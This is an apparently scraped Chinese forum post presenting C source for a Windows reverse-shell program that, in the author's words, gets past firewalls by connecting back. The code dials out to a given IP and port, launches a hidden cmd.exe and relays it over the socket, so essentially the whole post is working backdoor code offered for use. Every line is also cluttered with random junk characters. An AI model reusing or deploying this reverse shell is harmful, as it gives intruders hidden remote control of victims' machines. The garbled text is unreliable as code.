这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {(I":rt#
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/* ============================== PbsxjP
Rebound port in Windows NT n]i#&[*A(
By wind,2006/7 mi[8O$^iJ
===============================*/ !s:e
#include 'xEK0~awD
#include IhOAMH1
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#pragma comment(lib,"wsock32.lib") buT6)~lw
_n_()at)
void OutputShell(); ;a| ~YM2I
SOCKET sClient; ck\W'Y*Q7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iu3L9UfL[
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void main(int argc,char **argv) GP^.h kVs
{ 'by+hXk
WSADATA stWsaData; 4u+0 )<
int nRet; uqLP$At
SOCKADDR_IN stSaiClient,stSaiServer; dCeLW
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if(argc != 3) XK})?LTD
{ Keem\/
printf("Useage:\n\rRebound DestIP DestPort\n"); ZJ.an%4
return; SMzq,?-`
} m xqY
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6q6xqr:W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e~d=e3mBp
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stSaiClient.sin_family = AF_INET; %"eR0Lj+zq
stSaiClient.sin_port = htons(0); %D5F7wB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L#zD4L
9bspf {
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =1@LMIi5x
{ EC 1|$Co
printf("Bind Socket Failed!\n"); 6|~^P!&
return; 9\c]I0)3p
} ? ^W1WEBm
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stSaiServer.sin_family = AF_INET; 6)7cw8^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B(k tIy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @&Bh!_TWc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .6xMLo,R
{ {_/ o' 6
printf("Connect Error!"); /;Hr{f jl{
return; _TGs .t
} *3rs+0
OutputShell(); ft$RF
} |`t 6lVO,Z
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void OutputShell() H!&_Tv[
{ Tjhy@3
char szBuff[1024]; cR_ pC
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SECURITY_ATTRIBUTES stSecurityAttributes; D}LM(s3li7
OSVERSIONINFO stOsversionInfo; OF+4Mq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n\3#69VY
STARTUPINFO stStartupInfo; J=t}9.H~=
char *szShell; }ML2-k
PROCESS_INFORMATION stProcessInformation; &lLfVa-l
unsigned long lBytesRead; U||GeEd
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YWvD+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !ltq@8#_|
stSecurityAttributes.lpSecurityDescriptor = 0; fBj)HoHQW
stSecurityAttributes.bInheritHandle = TRUE; >36,lNt
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hlB\Xt
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (+[%^96
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7J!s"|VS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W(R~K -
stStartupInfo.wShowWindow = SW_HIDE; %l!?d`?
stStartupInfo.hStdInput = hReadPipe; {
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ao"2kqa)r
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GetVersionEx(&stOsversionInfo); PXkpttIE]M
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switch(stOsversionInfo.dwPlatformId) h]s~w
{ S`U8\KTi
case 1: ]i$0s
szShell = "command.com"; _eOC,J<-~
break; ^2nrA pF
default: fy4zBI@
szShell = "cmd.exe"; 4,z|hY_*t
break; nOvR, 6
} _ERtL5^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M|mfkIk0MB
]}XDDPbZ}
send(sClient,szMsg,77,0); $Gv@lZ@=
while(1) >kK@tJn
{ ZBK0`7#&EH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H3<tsK=:
if(lBytesRead) 8 O9^g4?
{ +w^,!gA&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R~kO5jpW
send(sClient,szBuff,lBytesRead,0); ?$ e]K/*
} Sv{n?BYq
else :J]'c}
{ t{jY@JT|
lBytesRead=recv(sClient,szBuff,1024,0); b>OB}Is
if(lBytesRead<=0) break; w\o6G7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W~;Jsd=f
} u9OY
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} AX8~w(sv
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return; ,<t.Iz%
}